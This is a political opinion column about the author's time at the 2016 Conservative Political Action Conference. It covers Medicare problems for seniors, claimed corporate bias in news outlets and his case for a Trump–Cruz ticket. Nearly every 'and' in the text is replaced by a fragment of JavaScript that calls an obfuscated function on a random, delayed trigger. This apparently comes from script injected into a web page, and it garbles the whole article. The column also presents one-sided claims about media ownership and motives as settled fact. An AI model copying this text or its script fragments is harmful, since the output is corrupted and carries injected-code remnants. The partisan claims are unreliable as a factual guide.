WILCOX IN WASHINGTON

On March 2 through 4, I attended the Conservative Political Action Conference in the Washington area. In the past, I have attended similar liberal events. I attend to meet andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and listen to political people to learn if they know anything about senior citizen issues andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and, if not, to educate them.

On March 3, I got frustrated about meeting very few people who understood the problems andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and issues of seniors. So, I turned the tables on attendees andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and reporters at the event.

“Hey, would you like to hear how Obama policies andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Obamacare have hurt senior citizens by billions of dollars? I can explain it,” I asked reporters at the event. The result was that I was interviewed eight times in two days by reporters representing various news or talk show outlets.

I was pleasantly surprised by the professional andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and polite interview of POLITICO reporter Beatrice Peterson. I was especially offended by the quick andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and gruff treatment I got from a CBS News reporter. She was not interested in learning or reporting anything about how Obama policies andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Obamacare had hurt seniors. About an hour later, I saw the same CBS News reporter interviewing anyone andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and everyone who wanted to say something bad about Donald Trump or Ted Cruz.

Many people don’t realize that major news media are owned, controlled, or influenced by big corporations that make lots of money doing business with government at the federal, state, or local level. These big businesses don’t like any political leader who wants to reduce the size of government or change government policies that help the big businesses make money. General Electric owns, controls, or has a major stake in NBC, CNBC, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and MSNBC. The Westinghouse corporation used to own CBS. I believe that there is still andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and “old friends” network between Westinghouse andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the media company that now owns CBS.

Reporters andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and editors of a news media outlet that is owned, controlled, or influenced by a government industry contractor will ignore or slant news that might hurt the government contractor or help the political enemies of that contractor. The public thinks that it is getting “the news”. But, it is really getting a version of “the news” that protects andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and benefits big government money interests.

In my public lectures about how the Medicare system causes problems for seniors that cost seniors over a billion dollars per year, I note that the government industry contractors make billions with the Medicare system andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and they don’t want that to change. The government industry contractors andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and government bureaucrats who make billions of dollars per year don’t seem to care about seniors being wrongfully billed over a billion dollars per year.

In some of the interviews at CPAC 2016, the reporter or host of the show would ask me which candom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andidates I liked. I responded that I was attending the event just to discuss senior citizen issues andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and not endorse candom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andidates. But, one clever interviewer responded with this reasoning andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and question.

“Okay, you’re a Democrat andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and a former labor union organizing guy. But, it is obvious that you really care about seniors andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and that political parties don’t matter much to you. So, which candom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andidates do you think care about seniors andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and America’s working people the most?”

“Donald Trump andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Ted Cruz,” I responded. “In fact, I think that would be a winning team for the Republicans. Here are some reasons. Both those candom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andidates have connected with blue collar workers more than any other candom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andidates – Republican or Democrat. Both of them are hated by the Washington elitist establishment. Both of them will be attacked, but both men are quite capable to defend themselves in the media. The elitists may hate them but working people love them. Donald Trump’s treatment of people is well documented by the show “The Apprentice”. People know that he does not treat people differently simply because of race or religion. That is why the recent CNN attempt to paint him as a racist failed.”

The host let me continue my line of reasoning.

“For the first time since Ronald Reagan ran, the Republicans have presidential candom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andidates that connect with working people who usually vote for Democrats. Ted Cruz would win Texas. Trump andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Cruz together could win Florida. Chris Christie could help Trump with New Jersey. I’m from the Midwest andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and I believe that a Trump – Cruz ticket would win Michigan, Ohio, Missouri, Iowa, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Wisconsin. Ted Cruz is very religious but Donald Trump is not. That is a good balance on a ticket. It signals to voters that the test of good citizenship under this team will be our constitution andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and laws andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and not a religious creed.”

The radio show host smiled andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and complimented me for having some very sharp political reasoning. Then, he closed the show.

There is one thing that I did not have time to mention. I believe that these men – Trump andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Cruz — would be willing to listen to me andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and what I have to tell them about how Obama’s policies andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the Obamacare law have hurt senior citizens by billions of dollars. President Obama andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and that CBS News reporter don’t want to hear what I have been telling people for years. I believe that they don’t want to listen to me about seniors’ problems with government programs andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and policies because they care more about the special money interests that profit from those government programs andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and policies. I care about seniors andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and they don’t. They have big government special interests to protect.

Note: Woodrow Wilcox has saved senior citizen clients of the insurance agency where he works over one million dollars by fighting medical billing errors andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and fraud in the Medicare system. He wrote the book SOLVING MEDICARE PROBLEM$ andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and he created the website www.ObamacareHurtsSeniors.com.
